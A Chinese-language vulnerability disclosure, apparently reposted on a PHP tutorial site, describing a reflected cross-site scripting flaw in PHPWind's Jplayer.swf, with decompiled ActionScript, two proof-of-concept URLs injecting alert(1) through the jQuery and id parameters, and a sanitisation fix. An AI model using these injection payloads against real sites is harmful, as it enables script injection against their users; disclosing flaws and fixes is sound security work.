来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] PHPWind使用的flash文件还真多。1、漏洞文件为:http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf2、反编译后看代码:this.jQuery = (((loaderInfo.parameters.jQuery + (#39;#) + lo......
PHPWind使用的flash文件还真多。
1、漏洞文件为:http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf
2、反编译后看代码:
this.jQuery = (((loaderInfo.parameters.jQuery + "('#") + loaderInfo.parameters.id) + "').jPlayer");
……
private function init(_arg1:TimerEvent):void{
this.myInitTimer.stop();
if (ExternalInterface.available){
……
ExternalInterface.call(this.jQuery, "jPlayerFlashEvent", JplayerEvent.JPLAYER_READY, this.extractStatusData(this.commonStatus));
};
}
www.2cto.com
3、我们看到在上面的代码中jQuery变量是由loaderInfo.parameters.jQuery和loaderInfo.parameters.id两个外部参数拼接而成的,并且没有进行任何的处理直接带入到ExternalInterface.call中。
4、可以构造两个POC,为下面,所以是两处xss:
http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(e){}//
http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?id='))}catch(e){alert(1)}//
漏洞证明:
http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(e){}//
http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?id='))}catch(e){alert(1)}//
修复方案:
可以参考swfupload.swf那个地方的修复方法,就是把非a-zA-Z0-9_字符replace为空
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com